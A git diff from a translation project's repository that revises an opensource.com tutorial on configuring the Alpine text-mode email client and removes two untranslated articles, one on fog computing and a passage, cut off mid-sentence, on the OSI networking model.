prerequisite packages that are not already installed. Alpine's primary dependencies are Sendmail, Hunspell, OpenLDAP, OpenSSL, krb5-libs, ncurses, and a couple of others. In my case, Alpine was the only package installed. -## Launch Alpine +### Launch Alpine To launch Alpine, open a terminal session, type **alpine** on the command line, and press **Enter**. @@ -51,7 +51,6 @@ The first time you start Alpine, it displays a message that it is creating the u For now, just press lowercase **e** to exit from the greeting message. You should now see Alpine's Main menu (I deleted several blank lines of the output to save space): - ``` +----------------------------------------------------+ | ALPINE 2.24 MAIN MENU Folder: INBOX No Messages    | @@ -77,25 +76,24 @@ For now, just press lowercase **e** to exit from the greeting message. You shoul | For Copyright information press "?"                | |                                                    | | ? Help P PrevCmd R RelNotes                        | -| O OTHER CMDS > [ListFldrs] N NextCmd K KBLock      | +| O OTHER CMDS > [ListFldrs] N NextCmd K KBLock      | +----------------------------------------------------+ ``` -_Figure 1: Alpine's Main menu_ +*Figure 1: Alpine's Main menu* Alpine creates the `~mail` directory localhost during initial use. When you configure the IMAP server, Alpine creates the default `~/mail`, `~/mail/sent-mail`, and `saved-messages` folders in your home directory on the IMAP server. You can change the defaults, but I recommend against it. When using IMAP, emails are not stored locally unless you copy them to local folders. All emails are stored in the Inbox on the SMTP server until they are saved to a folder on the IMAP server. The SMTP and IMAP servers might use the same or different hosts. Alpine also assumes that the Inbox is located at `/var/spool/mail/user_name` on the email SMTP server. This article explains how to configure both IMAP and SMTP servers. The email administrator for your organization—that might be you—will add your account to the IMAP server and provide you with the initial password. -## The Alpine interface +### The Alpine interface The Alpine user interface (UI) is a text-mode, menu-driven UI, also known as a TUI. This type of interface is also sometimes called captive user interface (CUI), which does not provide a command-line interface that can be used in scripts, for example. You must exit from the program to perform other tasks. By contrast, the [mailx][5] program is an email program that can be used with either a TUI, from the command line, or in scripts. For example, you can use the following command to send the results of the free command directly to the sysadmin's email account: - ``` -`$ free | mailx -s "Free memory" sysadmin@example.com` +$ free | mailx -s "Free memory" sysadmin@example.com ``` But enough of that little side trip; there is work to do. Let's start with an explanation. @@ -106,20 +104,19 @@ On the Main menu, you can use the **Up** and **Down** arrow keys to highlight a Use the **Page Down** and **Page Up** keys to scroll through the commands if you can't see them all. The secondary menu at the bottom of the page usually lists all the commands available on the current menu; you will also see a message similar to this: - ``` -`[START of Information About Setup Command]` +[START of Information About Setup Command] ``` Should you find yourself at a place you don't want to be, such as creating a new email, responding to one, or making changes to settings, and decide you don't want to do that, **Ctrl+C** allows you to cancel the current task. In most cases, you will be asked to confirm that you want to cancel by pressing the **C** key. Note that **^C** in the secondary menu represents **Ctrl+C**. Many commands use the **Ctrl** key, so you will see **^** quite frequently on some menus. Finally, to quit Alpine, you can press **Q**; when it asks, "Really quit Alpine?" respond with **Y** to exit. Like many commands, **Q** is not available from all menus. -## Help +### Help Help is available from all of the menus I have tried. You can access detailed help for each menu item by highlighting the item you need information for and pressing the **?** key to obtain context-sensitive help. -## Configuration +### Configuration When I started using Alpine regularly, I made the minimum changes to the configuration needed to send and receive emails. As I gained more experience with Alpine, I changed other configuration items to make things work easier or more to my liking. @@ -127,100 +124,97 @@ First, I will explain the basic configurations required to make Alpine work, the If you have been exploring a bit on your own—which is a good thing—return to the Main menu. To get to Alpine's Configuration menu from the Main menu, type **S** for Setup. You will see a menu like this: - ``` -ALPINE 2.24 SETUP Folder: INBOX No Messages +ALPINE 2.24 SETUP Folder: INBOX No Messages -This is the Setup screen for Alpine. Choose from the following commands: +This is the Setup screen for Alpine. Choose from the following commands: -(E) Exit Setup: -This puts you back at the Main Menu. +(E) Exit Setup: +This puts you back at the Main Menu. -(P) Printer: -Allows you to set a default printer and to define custom -print commands. +(P) Printer: +Allows you to set a default printer and to define custom +print commands. -(N) Newpassword: -Change your password. +(N) Newpassword: +Change your password. -(C) Config: -Allows you to set or unset many features of Alpine. -You may also set the values of many options with this command. +(C) Config: +Allows you to set or unset many features of Alpine. +You may also set the values of many options with this command. -(S) Signature: -Enter or edit a custom signature which will -be included with each new message you send. +(S) Signature: +Enter or edit a custom signature which will +be included with each new message you send.   -(A) AddressBooks: -Define a non-default address book. +(A) AddressBooks: +Define a non-default address book.   -(L) collectionLists: -You may define groups of folders to help you better organize your mail. +(L) collectionLists: +You may define groups of folders to help you better organize your mail.   -(R) Rules: -This has up to six sub-categories: Roles, Index Colors, Filters, - [START of Information About Setup Command ] +(R) Rules: +This has up to six sub-categories: Roles, Index Colors, Filters, + [START of Information About Setup Command ] ? Help E Exit Setup N Newpassword S Signature L collectionList D Directory   O OTHER CMDS P Printer C Config A AddressBooks R Rules K Kolor ``` -_Figure 2: Alpine Setup menu_ +*Figure 2: Alpine Setup menu* The Setup menu groups the very large number of setup items into related categories to, hopefully, make the ones you want easier to locate. Use **Page Down** and **Page Up** to scroll through the commands if you can't see them all. I'll start with the settings necessary to get email—Alpine's entire purpose—up and running. -## Config +### Config The Config section contains 15 pages (on my large screen) of option- and feature-configuration items. These settings can be used to set up your SMTP and IMAP connections to the email server and define the way many aspects of Alpine work. In these examples, I'll use the `example.com` domain name (which is the virtual network I use for testing and experimenting). Alpine's configuration is stored in the `~/.pinerc` file, created the first time you start Alpine. The first page of the Setup Configuration menu contains most of the settings required to configure Alpine to send and receive email: - ``` ALPINE 2.24 SETUP CONFIGURATION Folder: INBOX No Messages -Personal Name = <No Value Set: using "Test User"> -User Domain = <No Value Set> -SMTP Server (for sending) = <No Value Set> -NNTP Server (for news) = <No Value Set> -Inbox Path = <No Value Set: using "inbox"> -Incoming Archive Folders = <No Value Set> -Pruned Folders = <No Value Set> -Default Fcc (File carbon copy) = <No Value Set: using "sent-mail"> -Default Saved Message Folder = <No Value Set: using "saved-messages"> -Postponed Folder = <No Value Set: using "postponed-msgs"> -Read Message Folder = <No Value Set> -Form Letter Folder = <No Value Set> -Trash Folder = <No Value Set: using "Trash"> -Literal Signature = <No Value Set> -Signature File = <No Value Set: using ".signature"> +Personal Name = +User Domain = +SMTP Server (for sending) = +NNTP Server (for news) = +Inbox Path = +Incoming Archive Folders = +Pruned Folders = +Default Fcc (File carbon copy) = +Default Saved Message Folder = +Postponed Folder = +Read Message Folder = +Form Letter Folder = +Trash Folder = +Literal Signature = +Signature File = Feature List = Set Feature Name -\--- ---------------------- +--- ---------------------- [ Composer Preferences ] [X] Allow Changing From (default) -[ ] Alternate Compose Menu -[ ] Alternate Role (#) Menu -[ ] Compose Cancel Confirm Uses Yes -[ ] Compose Rejects Unqualified Addresses -[ ] Compose Send Offers First Filter -[ ] Ctrl-K Cuts From Cursor -[ ] Delete Key Maps to Ctrl-D -[ ] Do Not Save to Deadletter on Cancel +[ ] Alternate Compose Menu +[ ] Alternate Role (#) Menu +[ ] Compose Cancel Confirm Uses Yes +[ ] Compose Rejects Unqualified Addresses +[ ] Compose Send Offers First Filter +[ ] Ctrl-K Cuts From Cursor +[ ] Delete Key Maps to Ctrl-D +[ ] Do Not Save to Deadletter on Cancel [Already at start of screen] -? Help E Exit Setup P Prev - PrevPage A Add Value % Print +? Help E Exit Setup P Prev - PrevPage A Add Value % Print O OTHER CMDS C [Change Val] N Next Spc NextPage D Delete Val W WhereIs ``` -_Figure 3: First page of Alpine's Setup Configuration menu_ +*Figure 3: First page of Alpine's Setup Configuration menu* This is where you define the parameters required to communicate with the email server. To change a setting, use the **Arrow** keys to move the selection bar to the desired configuration item and press **Enter**. You can see in Figure 3 that none of the basic configuration items have any values set. The **Personal Name** item uses the [Gecos field][6] of the Unix `/etc/passwd` entry for the logged-in user to obtain the default name. This is just a name Alpine uses for display and has no role in receiving or sending email. I usually call this the "pretty name." In this case, the default name is fine, so I will leave it as it is. -There are some configuration items that you must set. Start with the **User Domain**, which is the current computer's domain name. Mine is a virtual machine I use for testing and examples in my books. Use the command line to get the fully qualified domain name (FQDN) and the hostname. In Figure 4, you can see that the domain name is `example.com`: - +There are some configuration items that you must set. Start with the **User Domain**, which is the current computer's domain name. Mine is a virtual machine I use for testing and examples in my books. Use the command line to get the fully qualified domain name (FQDN) and the hostname. In Figure 4, you can see that the domain name is `example.com` : ``` $ hostnamectl @@ -236,117 +230,161 @@ Kernel: Linux 5.10.23-200.fc33.x86_64 Architecture: x86-64 ``` -_Figure 4: Obtaining the hostname and domain name_ - -Once you have the FQDN, select the **User Domain** entry and press **Enter** to see the entry field at the bottom of the Alpine screen (as shown in Figure 5). Type your domain name and press **Enter** (using _your_ network's domain and server names): +*Figure 4: Obtaining the hostname and domain name* +Once you have the FQDN, select the **User Domain** entry and press **Enter** to see the entry field at the bottom of the Alpine screen (as shown in Figure 5). Type your domain name and press **Enter** (using *your* network's domain and server names): ``` ALPINE 2.24 SETUP CONFIGURATION Folder: INBOX No Messages -Personal Name = <No Value Set: using "Test User"> -User Domain = <No Value Set> -SMTP Server (for sending) = <No Value Set> -NNTP Server (for news) = <No Value Set> -Inbox Path = <No Value Set: using "inbox"> -Incoming Archive Folders = <No Value Set> -Pruned Folders = <No Value Set> -Default Fcc (File carbon copy) = <No Value Set: using "sent-mail"> -Default Saved Message Folder = <No Value Set: using "saved-messages"> -Postponed Folder = <No Value Set: using "postponed-msgs"> -Read Message Folder = <No Value Set> -Form Letter Folder = <No Value Set> -Trash Folder = <No Value Set: using "Trash"> -Literal Signature = <No Value Set> -Signature File = <No Value Set: using ".signature"> +Personal Name = +User Domain = +SMTP Server (for sending) = +NNTP Server (for news) = +Inbox Path = +Incoming Archive Folders = +Pruned Folders = +Default Fcc (File carbon copy) = +Default Saved Message Folder = +Postponed Folder = +Read Message Folder = +Form Letter Folder = +Trash Folder = +Literal Signature = +Signature File = Feature List = Set Feature Name -\--- ---------------------- +--- ---------------------- [ Composer Preferences ] [X] Allow Changing From (default) -[ ] Alternate Compose Menu -[ ] Alternate Role (#) Menu -[ ] Compose Cancel Confirm Uses Yes -[ ] Compose Rejects Unqualified Addresses -[ ] Compose Send Offers First Filter -[ ] Ctrl-K Cuts From Cursor -[ ] Delete Key Maps to Ctrl-D -[ ] Do Not Save to Deadletter on Cancel -Enter the text to be added : example.com -^G Help +[ ] Alternate Compose Menu +[ ] Alternate Role (#) Menu +[ ] Compose Cancel Confirm Uses Yes +[ ] Compose Rejects Unqualified Addresses +[ ] Compose Send Offers First Filter +[ ] Ctrl-K Cuts From Cursor +[ ] Delete Key Maps to Ctrl-D +[ ] Do Not Save to Deadletter on Cancel +Enter the text to be added : example.com +^G Help ^C Cancel Ret Accept ``` -_Figure 5: Type the domain name into the text entry field._ +*Figure 5: Type the domain name into the text entry field.* -### Required config +#### Required config These are the basic configuration items you need to send and receive email: - * **Personal Name** - * Your name - * This is the pretty name Alpine uses for the From and Return fields in emails. - * **User Domain** - * `example.com:25/user=SMTP_Authentication_UserName` - * This is the email domain for your email client. This might be different from the User Domain name. This line also contains the SMTP port number and the user name for SMTP authentication. - * **SMTP server** - * SMTP - * This is the name of the outbound SMTP email server. It combines with the User Domain name to create the FQDN for the email server. - * **Inbox Path** - * `{IMAP_server)}Inbox` - * This is the name of the IMAP server enclosed in curly braces (`{}`) and the name of the Inbox. Note that this directory location is different from the inbound IMAP email. The usual location for the inbox on the server is `/var/spool/mail/user_name`. - * **Default Fcc** (file carbon copy) - * `{IMAP_server)}mail/sent` - * This is the mailbox (folder) where sent mail is stored. The default mail directory on the server is usually `~/mail`, but `mail/` must be specified in this and the next two entries, or the folders will be placed in the home directory instead. - * **Default Saved Message Folder** - * `{IMAP_server)}mail/saved-messages` - * This is the default folder when saving a message to a folder if you don't use `^t` to specify a different one. - * **Trash Folder** - * `{IMAP_server)}mail/Trash` - * **Literal Signature** - * A signature string - * I don't use this, but it's an easy place to specify a simple signature. - * **Signature File** - * `~/MySignature.sig` - * This points to the file that contains your signature file. +* Personal Name + * Your name + * This is the pretty name Alpine uses for the From and Return fields in emails. +* User Domain + * example.com:25/user=SMTP_Authentication_UserName + * This is the email domain for your email client. This might be different from the User Domain name. This line also contains the SMTP port number and the user name for SMTP authentication. +* * SMTP server +SMTP + * This is the name of the outbound SMTP email server. It combines with the User Domain name to create the FQDN for the email server. +* Inbox Path + * {IMAP_server)}Inbox + * This is the name of the IMAP server enclosed in curly braces ({}) and the name of the Inbox. Note that this directory location is different from the inbound IMAP email. The usual location for the inbox on the server is `/var/spool/mail/user_name`. +* Default Fcc (file carbon copy) + * {IMAP_server)}mail/sent + * This is the mailbox (folder) where sent mail is stored. The default mail directory on the server is usually `~/mail`, but `mail/` must be specified in this and the next two entries, or the folders will be placed in the home directory instead. +* Default Saved Message Folder + * {IMAP_server)}mail/saved-messages + * This is the default folder when saving a message to a folder if you don't use `^t` to specify a different one. +* Trash Folder + * {IMAP_server)}mail/Trash +* Literal Signature + * A signature string + * I don't use this, but it's an easy place to specify a simple signature. +* Signature File + * ~/MySignature.sig + * This points to the file that contains your signature file. - - -### Optional config +#### Optional config Here are the features I changed to make Alpine work more to my liking. They are not about getting Alpine to send and receive email, but about making Alpine work the way you want it to. Unless otherwise noted, I turned all of these features on. Features that are turned on by default have the string `(default)` next to them in the Alpine display. Because they are already turned on, I will not describe them. - * **Alternate Role (`#`) Menu:** This allows multiple identities using different email addresses on the same client and server. The server must be configured to allow multiple addresses to be delivered to your primary email account. - * **Compose Rejects Unqualified Addresses:** Alpine will not accept an address that is not fully qualified. That is, it must be in the form ``. - * **Enable Sigdashes:** This enables Alpine to automatically add dashes (`--`) in the row just above the signature. This is a common way of delineating the start of the signature. - * **Prevent User Lookup in Password File:** This prevents the lookup of the full user name from the Gecos field of the passwd file. - * **Spell Check Before Sending:** Although you can invoke the spell checker at any time while composing an email, this forces a spell check when you use the `^X` keystroke to send an email. - * **Include Header in Reply:** This includes a message's headers when you reply. - * **Include Text in Reply:** This includes the text of the original message in your reply. - * **Signature at Bottom:** Many people prefer to have their signature at the very bottom of the email. This setting changes the default, which puts the signature at the end of the reply and before the message being replied to. - * **Preserve Original Fields:** This preserves the original addresses in the **To:** and **CC:** fields when you reply to a message. If this feature is disabled when you reply to a message, the original sender is added to the **To:** field, all other recipients are added to the **CC:** field, and your address is added to the **From:** field. - * **Enable Background Sending:** This speeds the Alpine user interface response when sending an email. - * **Enable Verbose SMTP Posting:** This produces more verbose information during SMTP conversations with the server. It is a problem-determination aid for the sysadmin. - * **Warn if Blank Subject:** This prevents sending emails with no subject. - * **Combined Folder Display:** This combines all folder collections into a single main display. Otherwise, collections will be in separate views. - * **Combined Subdirectory Display:** This combines all subdirectories' collections into a single main display. Otherwise, subdirectories will be in separate views. This is useful when searching for a subdirectory to attach or save files. - * **Enable Incoming Folders Collection:** This lists all incoming folders in the same collection as the Inbox. Incoming folders can be used with a tool like procmail to presort email into folders other than the Inbox and makes it easier to see the folders where new emails are sorted. - * **Enable Incoming Folders Checking:** This enables Alpine to check for new emails in the incoming folders collection. - * **Incoming Checking Includes Total:** This displays the number of old and new emails in the incoming folders. - * **Expanded View of Folders:** This displays all folders in each collection when you view the **Folder List** screen. Otherwise, only the collections are shown, and the folders are not shown until selected. - * **Separate Folder and Directory Entries:** If your mail directory has email folders and regular directories that use the same name, this causes Alpine to list them separately. - * **Use Vertical Folder List:** This sorts mail folders vertically first and then horizontally. The default is horizontal, then vertical. - * **Convert Dates To Localtime:** By default, all dates and times are displayed in their originating time zones. This converts the dates to display in local time. - * **Show Sort in Titlebar:** Alpine can sort emails in a mail folder using multiple criteria. This causes the sort criteria to be displayed in the title bar. - * **Enable Message View Address Links:** This highlights email addresses in the body of the email. - * **Enable Message View Attachment Links:** This highlights URL links in the body of the email. - * **Prefer Plain Text:** Many emails contain two versions, plain text and HTML. When this feature is turned on, Alpine always displays the plain text version. You can use the **A** key to toggle to the "preferred" version, usually the HTML one. I usually find the plain text easier to visualize the structure of and read the email. This can depend upon the sending client, so I use the **A** key when needed. - * **Enable Print Via Y Command:** This prints a message using the previous default, **Y**. Because **Y** is also used to confirm many commands, the keystroke can inadvertently cause you to print a message. The new default is **%** to prevent accidental printing. I like the ease of using **Y**, but it has caused some extra print jobs, so I am thinking about turning this feature off. - * **Print Formfeed Between Messages:** This prints each message on a new sheet of paper. - * **Customized Headers:** Customized headers enables overriding the default **From:** and **Reply-To:** headers. I set mine to: [code] -   From: "David Both" <[[david@example.com][7]](mailto:[david@both.org][8])> -\-   Reply-To: "David Both" -    <[[david@example.com][7]](mailto:[david@both.org][8])> +* Alternate Role (#) Menu: This allows multiple identities using different email addresses on the same client and server. The server must be configured to allow multiple addresses to be delivered to your primary email account. +* Compose Rejects Unqualified Addresses: Alpine will not accept an address that is not fully qualified. That is, it must be in the form ``. +* Enable Sigdashes: This enables Alpine to automatically add dashes (--) in the row just above the signature. This is a common way of delineating the start of the signature. +* Prevent User Lookup in Password File: This prevents the lookup of the full user name from the Gecos field of the passwd file. +* Spell Check Before Sending: Although you can invoke the spell checker at any time while composing an email, this forces a spell check when you use the `^X` keystroke to send an email. +* Include Header in Reply: This includes a message's headers when you reply. +* Include Text in Reply: This includes the text of the original message in your reply. +* Signature at Bottom: Many people prefer to have their signature at the very bottom of the email. This setting changes the default, which puts the signature at the end of the reply and before the message being replied to. +* Preserve Original Fields: This preserves the original addresses in the To: and CC: fields when you reply to a message. If this feature is disabled when you reply to a message, the original sender is added to the To: field, all other recipients are added to the CC: field, and your address is added to the From: field. +* Enable Background Sending: This speeds the Alpine user interface response when sending an email. +* Enable Verbose SMTP Posting: This produces more verbose information during SMTP conversations with the server. It is a problem-determination aid for the sysadmin. +* Warn if Blank Subject: This prevents sending emails with no subject. +* Combined Folder Display: This combines all folder collections into a single main display. Otherwise, collections will be in separate views. +* Combined Subdirectory Display: This combines all subdirectories' collections into a single main display. Otherwise, subdirectories will be in separate views. This is useful when searching for a subdirectory to attach or save files. +* Enable Incoming Folders Collection: This lists all incoming folders in the same collection as the Inbox. Incoming folders can be used with a tool like procmail to presort email into folders other than the Inbox and makes it easier to see the folders where new emails are sorted. +* Enable Incoming Folders Checking: This enables Alpine to check for new emails in the incoming folders collection. +* Incoming Checking Includes Total: This displays the number of old and new emails in the incoming folders. +* Expanded View of Folders: This displays all folders in each collection when you view the Folder List screen. Otherwise, only the collections are shown, and the folders are not shown until selected. +* Separate Folder and Directory Entries: If your mail directory has email folders and regular directories that use the same name, this causes Alpine to list them separately. +* Use Vertical Folder List: This sorts mail folders vertically first and then horizontally. The default is horizontal, then vertical. +* Convert Dates To Localtime: By default, all dates and times are displayed in their originating time zones. This converts the dates to display in local time. +* Show Sort in Titlebar: Alpine can sort emails in a mail folder using multiple criteria. This causes the sort criteria to be displayed in the title bar. +* Enable Message View Address Links: This highlights email addresses in the body of the email. +* Enable Message View Attachment Links: This highlights URL links in the body of the email. +* Prefer Plain Text: Many emails contain two versions, plain text and HTML. When this feature is turned on, Alpine always displays the plain text version. You can use the A key to toggle to the "preferred" version, usually the HTML one. I usually find the plain text easier to visualize the structure of and read the email. This can depend upon the sending client, so I use the A key when needed. +* Enable Print Via Y Command: This prints a message using the previous default, Y. Because Y is also used to confirm many commands, the keystroke can inadvertently cause you to print a message. The new default is % to prevent accidental printing. I like the ease of using Y, but it has caused some extra print jobs, so I am thinking about turning this feature off. +* Print Formfeed Between Messages: This prints each message on a new sheet of paper. +* Customized Headers: Customized headers enables overriding the default From: and Reply-To: headers. I set mine to: +-   From: "David Both" <[david@example.com](mailto:david@both.org)> +-   Reply-To: "David Both" +    <[david@example.com](mailto:david@both.org)> +* Sort key: By default, Alpine sorts messages in a folder by arrival time. I found this to be a bit confusing, so I changed it to Date, which can be significantly different from arrival time. Many spammers use dates and times in the past or future, so this setting can sort the future ones to the top of the list (or bottom, depending on your preferences for forward or reverse sorts). +* Image Viewer: This feature allows you to specify the image viewer to use when displaying graphics attached to or embedded in an email. This only works when using Alpine in a terminal window on the graphical desktop. It will not work in a text-only virtual console. I always set this to `=okular` because [Okular][7] is my preferred viewer. +* URL-Viewer: This tells Alpine what web browser you want to use. I set this for `= /bin/firefox` but you could use Chrome or another browser. Be sure to verify the location of the Firefox executable. + +#### Printing + +It is easy to set up Alpine for printing. Select the **Printer** menu from the **Setup** page. This allows you to set a default printer and define custom print commands. The default is probably `attached-to-ansi`. Move the cursor down to the **Standard UNIX print command** section and highlight the printer list. + ``` - * **Sort key:** By default, Alpine sorts messages in a folder by arrival time. I found this to be a bit confusing, so I changed it to **Date**, which can be significantly different from arrival time. Many spammers use dates and times in the past or future, so this setting can sort the future ones to the top of the list (or bottom, depending on your preferences for forward or reverse sorts). - * **Image Viewer:** This feature allows you to specify the image viewer to use when displaying graphics attached to or embedded in an email. This only works when using Alpine in a terminal window on the graphical desktop. It will not work in a text-only virtual console. I always set this to `=okular` because [Okular][9] is my preferred viewer. - * **URL-Viewer:** This tells Alpine what web browser you \ No newline at end of file +Standard UNIX print command + +Using this option may require setting your "PRINTER" or "LPDEST" + +environment variable using the standard UNIX utilities. + +Printer List: "" lpr +``` + +Then press the **Enter** key to set the standard Unix **lpr** command as the default. + +### Final thoughts + +This is not a step-by-step guide to Alpine configuration and use. Rather, I tried to cover the basics to get it up and running to send and receive email. I also shared some configuration changes that have made my Alpine experience much more usable. These are the configuration items that I've found most important to my experience; you may find that others are more important to you. + +I have been using Alpine for several months now and am very happy with the experience. The text interface helps me concentrate on the message and not the distracting graphics and animations. I can view those if I choose, but 99% of the time, I choose not to. + +Alpine is easy to use and has a huge number of features that can be configured to give the best email client experience possible. + +Use the **Help** feature to get more information about the fields I explored above and those that I did not cover. You will undoubtedly find ways to configure Alpine that work better for you than the defaults or what I changed. I hope this will at least give you a start to set up Alpine the way you want. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/alpine-linux-email + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/email_chat_communication_message.png +[2]: https://www.thunderbird.net/en-US/ +[3]: https://alpine.x10host.com/ +[4]: https://opensource.com/article/17/10/alpine-email-client +[5]: https://linux.die.net/man/1/mailx +[6]: https://en.wikipedia.org/wiki/Gecos_field +[7]: https://okular.kde.org/ diff --git a/sources/tech/20210511 What is fog computing.md b/sources/tech/20210511 What is fog computing.md deleted file mode 100644 index 7d1f54ee22..0000000000 --- a/sources/tech/20210511 What is fog computing.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: subject: (What is fog computing?) -[#]: via: (https://opensource.com/article/21/5/fog-computing) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What is fog computing? -====== -Learn about the network comprised of all the connected devices in our -lives. -![Man at laptop on a mountain][1] - -In the early days, computers were big and expensive. There were few users in the world, and they had to reserve time on a computer (and show up in person) to have their punchcards processed. Systems called [mainframes][2] made many innovations and enabled time-shared tasks on terminals (like desktop computers, but without their own CPU). - -Skip forward to today, when powerful computation is [as cheap as US$35 and no larger than a credit card][3]. That doesn't even begin to cover all the little devices in modern life that gather and process data. Take a high-level view of this collection of computers, and you can imagine all of these devices outnumbering grains of sands or particles in a cloud. - -It so happens that the term "cloud computing" is already occupied, so there needs to be a unique name for the network comprised of the Internet of Things (IoT) and other strategically situated servers. And besides, if there's already a cloud representing nodes of a data center, then there's surely something unique about the nodes intermingling with us folk outside that cloud. - -### Welcome to fog computing - -The cloud delivers computing services over the internet. But the data centers that make up the cloud are big and relatively few compared to their number of potential clients. This suggests potential bottlenecks when data is sent back and forth between the cloud and its many users. - -Fog computing, by contrast, can outnumber its potential clients without risking a bottleneck because the devices perform much of the data collection or computation. It's the outer "edge" of the cloud, the part of a cloud that touches down to the ground. - -### Fog and edge computing - -Fog computing and [edge computing][4] are essentially synonymous. Both have strong associations with both the cloud and IoT and make the same architectural assumptions: - - * The closer you are to the CPU doing the work, the faster the data transfer. - * Like [Linux][5], there's a strong advantage to having small, purpose-built computers that can "do one thing and do it well." (Of course, our devices actually do more than just one thing, but from a high-level view, a smartwatch you bought to monitor your health is essentially doing "one" thing.) - * Going offline is inevitable, but a good device can function just as effectively in the interim and then sync up when reconnected. - * Local devices can be simpler and cheaper than large data centers. - - - -### Networking on the edge - -It's tempting to view fog computing as a completely separate entity from the cloud, but they're just two parts of the whole. The cloud needs the infrastructure of the digital enterprise, including public cloud providers, telecommunication companies, and even specialized corporations running their own services. Localized services are also important to provide waystations between the cloud core and its millions and millions of clients. - -**[Read next: [An Architect's guide to edge computing essentials][6]]** - -Fog computing, located at the edge of the cloud, intermingles with clients wherever they are located. Sometimes, this is a consumer setting, such as your own home or car, while other times, it's a business interest, such as price-monitoring devices in a retail store or vital safety sensors on a factory floor. - -### Fog computing is all around you - -Fog computing is built up of all the connected devices in our lives: drones, phones, watches, fitness monitors, security monitors, home automation, portable gaming devices, gardening automation, weather sensors, air-quality monitors, and much, much more. Ideally, the data it provides helps to build a better and more informed future. There are lots of great open source projects out there that are working toward improving health and wellness—or even just making life a little more entertaining—and it's all happening thanks to fog and cloud computing. _Our_ job, however, is to make sure it [stays open][7]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/fog-computing - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_laptop_code_programming_mountain_view.jpg?itok=yx5buqkr (Man at laptop on a mountain) -[2]: https://opensource.com/article/19/9/linux-mainframes-part-1 -[3]: https://opensource.com/resources/raspberry-pi -[4]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing -[5]: https://opensource.com/resources/linux -[6]: https://www.redhat.com/architect/edge-computing-essentials -[7]: https://opensource.com/article/20/10/keep-cloud-open diff --git a/sources/tech/20210511 What is the OSI model.md b/sources/tech/20210511 What is the OSI model.md deleted file mode 100644 index 1d43a0e9bc..0000000000 --- a/sources/tech/20210511 What is the OSI model.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: subject: (What is the OSI model?) -[#]: via: (https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/) -[#]: author: (Julia Evans https://jvns.ca/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What is the OSI model? -====== - -Today I tweeted something about how the OSI model doesn’t correspond well to the reality of how TCP/IP works and it made me think – what is the OSI model, exactly? From reading some of the replies on Twitter, it seems like there are at least 3 different ways to think about it: - - 1. A literal description of how TCP/IP works - 2. An abstract model that you can use to describe and compare a lot of different networking protocols - 3. A literal description of some computer networking protocols from the 1980s that are mostly no longer used today - - - -In this post I’m not going to try to argue that any one of these is “really” what the OSI model is – it seems like different people think about the OSI model in all of these ways, and that’s okay. - -### the OSI model has 7 layers - -Before we talk about what the OSI model means, let’s very briefly discuss what it is: it’s an abstract model for how networking works with 7 numbered layers: - - * Layer 1: physical layer - * Layer 2: data link - * Layer 3: network - * Layer 4: transport - * Layer 5: session - * Layer 6: presentation - * Layer 7: application - - - -I won’t say more about what each of those is supposed to mean, there are a thousand explanations of it online. - -### the OSI model as a literal description of how TCP/IP works - -First, I want to talk about one common way people use the OSI model in practice: as a literal description of how TCP/IP works. Some layers of the OSI model are really easy to map to TCP/IP: - - * Layer 2 corresponds to Ethernet - * Layer 3 corresponds to IP - * Layer 4 corresponds to TCP or UDP (or ICMP etc) - * Layer 7 corresponds to whatever is inside the TCP or UDP packet (for example a DNS query) - - - -This mapping makes a lot of sense for layers 2, 3, and 4 – TCP packets have 3 headers corresponding to these 3 layers (the Ethernet header, the IP header, and the TCP header). - -Having numbers to describe the different headers in a TCP packet is pretty useful – if you say “layer 2”, it’s clear that that lives “underneath” layer 3, because 2 is a smaller number than 3. - -The weird thing about “OSI model as literal description” is that layers 5 and 6 don’t really correspond to anything in TCP/IP – I’ve heard a lot of different interpretations of what layers 5 or 6 could be (you could say layer 5 is TLS or something!) but they don’t have a clear correspondence like “every layer has a corresponding header in the TCP packet” the way layers 2, 3, and 4 do. - -Also, some parts of TCP/IP don’t fit well into the OSI model even around layers 2-4 – for example, what layer is an ARP packet? ARP packets send some data with an Ethernet header, so does that mean they’re layer 3? Layer 2? The Wikipedia article listing different OSI layers categorizes it under “layer 2.5” which is pretty unsatisfying. - -This is only really a problem because the OSI model is sometimes used to teach TCP/IP, and it’s confusing if it’s not made clear which parts of the model map well to TCP/IP and which don’t. - -### the OSI model as an abstraction for comparing networking protocols - -Another way of thinking of OSI that I’ve heard is that it’s an abstraction you can use to draw analogies between lots of different networking protocols. For example, if you want to understand how Bluetooth works, maybe you can use the OSI model to help you – here’s an diagram I found on [this page][1] showing how Bluetooth fits into the OSI model. - -![][2] - -As another example of this, [this Wikipedia article][3] has a list of OSI layers and which specific networking protocols correspond to those OSI layers. - -### the OSI model as a literal description of some obsolete protocols - -Some very brief research on Wikipedia says that in addition to an abstract description of 7 layers, the OSI model also contained a [bunch of specific protocols implementing those layers][4]. Apparently this happened during the [Protocol Wars][5] in the 70s and 80s, where the OSI model lost and TCP/IP won. - -This explains why the OSI model doesn’t really correspond that well to TCP/IP, since if the OSI protocols had “won” then the OSI model _would_ correspond exactly to how internet networking actually works. - -### that’s all! - -I’m writing this because when I originally learned about the OSI model I found it super confusing (what are all these layers? are they real? is this actually how networking works? what’s happening?) and I wish someone had told me that (as someone who does not work with any 